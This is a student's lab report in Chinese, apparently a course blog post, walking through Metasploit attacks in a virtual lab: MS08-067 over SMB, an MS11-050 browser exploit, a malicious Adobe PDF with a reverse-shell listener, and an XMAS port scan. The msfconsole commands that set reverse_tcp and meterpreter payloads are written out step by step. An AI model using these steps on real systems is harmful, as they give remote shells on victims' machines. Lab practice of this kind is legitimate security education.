标签:host 9.png 操作 pdf 开始 http window show pre
用自己的话解释什么是exploit,payload,encode.
1、在VMware中设置两台虚拟机网络为NAT模式,自动分配IP地址,之后两台虚拟机就可以直接ping通。如下图:
2、在kali终端中开启msfconsole。
3、输入命令search ms08_067,会显示出找到的渗透模块,如下图所示:
4、输入命令use exploit/windows/smb/ms08_067_netapi,进入该漏洞模块的使用。
5、输入命令show payload会显示出有效的攻击载荷,如下图所示,我们找到一个shell_reverse_tcp。
6、命令show targets会显示出可以被攻击的靶机的操作系统型号,如下图所示:
7、使用命令set payload generic/shell_reverse_tcp设置攻击有效载荷。
8、输入命令show options显示我们需要在攻击前需要设置的数据。
9、输入命令
set LHOST "kali Ip"
set RHOST "Win xp Ip"
并使用命令show options再次查看payload状态。
10、输入命令exploit开始攻击,如下图所示是正常攻击成功结果。
在kali上执行ipconfig/all得到如下图所示:
在win xp上执行同样的命令,如下图所示:
1、前面依然使用命令use exploit/windows/smb/ms08_067_netapi,进入ms08_067漏洞模块。
2、设置payload:set payload windows/meterpreter/reverse_tcp
3、show options,查看需要设置的ip地址,如下图所示,是已经设置好的
4、成功攻击结果:
1、设置虚拟机网络为NAT模式,保证两台虚拟机可以相互间ping通。
2、在kali终端中开启msfconsole。
3、输入命令use windows/browser/ms11_050_mshtml_cobjectelement,进入该漏洞模块。
4、输入info查看信息:
5、设置对应的载荷set payload windows/meterpreter/reverse_tcp;
6、show options查看需要设置的相关信息:
7、设置相关信息
set LHOST ‘kali Ip’
set LPORT XXXX
set URIPATH XXX
8、exploit,如下图所示,有靶机需要访问的ip地址:
9、在靶机IE上输入网址,并在靶机上查看信息。
靶机端IE:
kali中显示一个session 1已经创建:
10、输入命令sessions -i 1,开始连接
11、攻击成功,获取shell
1、两台虚拟机,其中一台为kali,一台为windows xp sp3。
2、设置虚拟机网络为NAT模式,保证两台虚拟机可以ping通。
3、kali下打开显示隐藏文件。
4、在kali终端中开启msfconsole。
5、输入命令use exploit/windows/fileformat/adobe_cooltype_sing,进入该漏洞模块的使用。
6、使用命令set payload windows/meterpreter/reverse_tcp设置攻击有效载荷。
7、输入命令show options显示我们需要在攻击前需要设置的数据,如下图:
8、输入命令
set FILENAME xxx.pdf
set LHOST "KALI Ip"
set LPORT xxxx
并使用命令show options,看是否设置成功。
9、输入exploit,生成pdf文件,并可以看到pdf所在文件夹,将pdf复制到靶机里。
10、使用命令back退出当前模块,并使用use exploit/multi/handler新建一个监听模块。
11、使用set payload windows/meterpreter/reverse_tcp建立一个反向连接。
12、使用命令exploit开始攻击,在xp中打开pdf。
13、kali中显示成功回连。
14、输入shell,查看xp靶机信息。
TCP"XMas"端口扫描
该扫描可以用来判断端口是开放还是关闭,输入命令use auxiliary/scanner/portscan/xmas,并输入show options查看需要设置的选项。
设置靶机IP和端口号。
输入run后,弹出如下提示:
输入密码后开始扫描,结果如下:
表示80端口是开放或者被过滤(屏蔽)的
这次实验我浪费了很多时间,因为电脑存储空间不足的原因,我无法安装靶机,于是临时买了一个sd卡,才勉强能完成这次实验,在等待问题解决的过程中,我看了许多同学的博客,因此避免了许多错误的产生。这次实验虽然有4个实践任务,但是我认为原理都是类似的,通过完成这次实验,我对msf的应用了解的更多更深了。
标签:host 9.png 操作 pdf 开始 http window show pre
原文地址:http://www.cnblogs.com/sjy519/p/6714312.html